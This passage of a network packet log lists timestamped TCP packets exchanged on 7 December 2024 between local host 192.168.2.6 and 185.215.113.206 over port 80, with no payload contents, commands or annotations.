Dec 7, 2024 22:40:13.762212038 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.762289047 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.762340069 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.762387991 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.763158083 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.763201952 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.763236046 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.763274908 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.763978958 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.764027119 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.764084101 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.764127970 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.764868975 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.764919996 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.765010118 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.765050888 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.765755892 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.765801907 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.765883923 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.765928984 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.766614914 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.766670942 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.766702890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.766762018 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.767450094 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.767504930 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.767537117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.767591953 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.768320084 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.768364906 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.768435001 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.768476963 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.769296885 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.769340038 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.769388914 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.769429922 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.770117998 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.770159960 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.770241022 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.770281076 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.771126032 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.771173954 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.771248102 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.771291018 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.771871090 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.771913052 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.771960020 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.772001982 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.772710085 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.772766113 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.772792101 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.772835016 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.773545980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.773583889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.773659945 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.773705959 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.774435997 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.774486065 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.774568081 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.774610043 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.775296926 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.775341988 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.775373936 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.775417089 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.776235104 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.776290894 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.776395082 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.776439905 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.777084112 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.777128935 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.777245998 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.777292013 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.777945995 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.777987003 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.807146072 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.807158947 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.807199955 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.807213068 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.807353973 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.807404041 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.807445049 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.807487011 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.808312893 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.808360100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.808445930 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.808489084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.809120893 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.809166908 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.809247971 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.809289932 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.810004950 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.810050964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.810123920 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.810168028 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.810822964 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.810867071 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.810939074 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.810976028 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.811790943 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.811834097 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.811940908 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.811985016 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.812608957 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.812650919 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.812767029 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.812808990 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.813750029 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.813795090 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.813934088 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.813978910 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.814558983 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.814610004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.814626932 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.814668894 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.815310001 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.815357924 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.877623081 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.877682924 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.877723932 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.877764940 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.878072977 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.878114939 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.878145933 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.878185987 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.878719091 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.878757954 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.878833055 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.878873110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.879632950 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.879678011 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.879733086 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.879798889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.880471945 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.880517960 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.880556107 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.880598068 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.882045984 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.882059097 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.882097006 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.882240057 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.882282019 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.882354975 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.882397890 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.883085966 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.883132935 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.883197069 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.883241892 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.883970022 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.884015083 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.884076118 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.884119987 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.884809017 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.884854078 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.884927988 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.884972095 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.885653019 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.885698080 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.942065954 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.942186117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.942224979 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.942224979 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.942447901 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.942504883 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.942559004 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.942625999 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.943466902 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.943525076 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.943556070 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.943607092 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.944222927 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.944268942 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.944346905 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.944400072 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.944977999 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.945061922 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.945207119 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.945277929 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.945853949 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.945907116 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.945945024 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.945997953 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.946758986 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.946816921 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.946837902 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.946894884 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.947618961 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.947674036 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.947681904 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.947766066 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.951539040 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.951565027 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.951579094 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.951590061 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.951601028 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.951606035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.951606035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.951647997 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.951714993 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.951759100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.952186108 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.952197075 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.952254057 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.953178883 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.953191042 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.953231096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.954049110 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.954061985 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.954107046 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.954777956 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.954848051 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.954914093 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.954984903 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.955436945 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.955487967 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.955790997 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.955902100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.956450939 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.956521988 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.956742048 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.956799030 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.957139969 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.957153082 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.957190990 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.957204103 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.957252979 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.957266092 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.957319975 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.958081961 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.958153963 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.958195925 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.958249092 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.958966970 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.959023952 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.959052086 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.959103107 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.959825993 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.959897041 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.959902048 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.959948063 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.960669041 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.960725069 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.960736990 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.960788012 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.961489916 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.961536884 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.961617947 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.961666107 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.962392092 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.962445974 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.962507010 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.962604046 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.963354111 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.963402987 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.963417053 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.963464975 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.964124918 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.964181900 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.964237928 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.964297056 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.965030909 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.965073109 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.965123892 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.965197086 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.965881109 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.965951920 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.965969086 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.966053009 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.966736078 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.966783047 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.966831923 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.966886997 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.967602968 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.967663050 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.967720032 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.967781067 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.968519926 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.968569040 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.968588114 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.968677998 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.969377041 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.969432116 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.969490051 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.969548941 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.970182896 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.970248938 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.000442982 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.000454903 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.000467062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.000520945 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.000545025 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.000726938 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.000790119 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.001472950 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.001485109 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.001537085 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.001537085 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.002234936 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.002291918 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.002434015 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.002504110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.003247023 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.003330946 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.003412962 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.003487110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.004213095 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.004228115 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.004275084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.004275084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.004973888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.005027056 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.005110025 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.005155087 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.005856991 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.005918026 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.006022930 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.006083965 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.006588936 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.006638050 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.006779909 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.006838083 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.007539034 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.007550955 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.007591009 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.008415937 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.008466959 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.069991112 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.070031881 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.070199013 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.070283890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.070358992 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.070379972 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.070440054 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.071161032 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.071218014 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.071343899 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.071420908 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.072040081 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.072127104 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:14.072174072 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:14.072246075 CET	49707	80	192.168.2.6	185.215.113.206
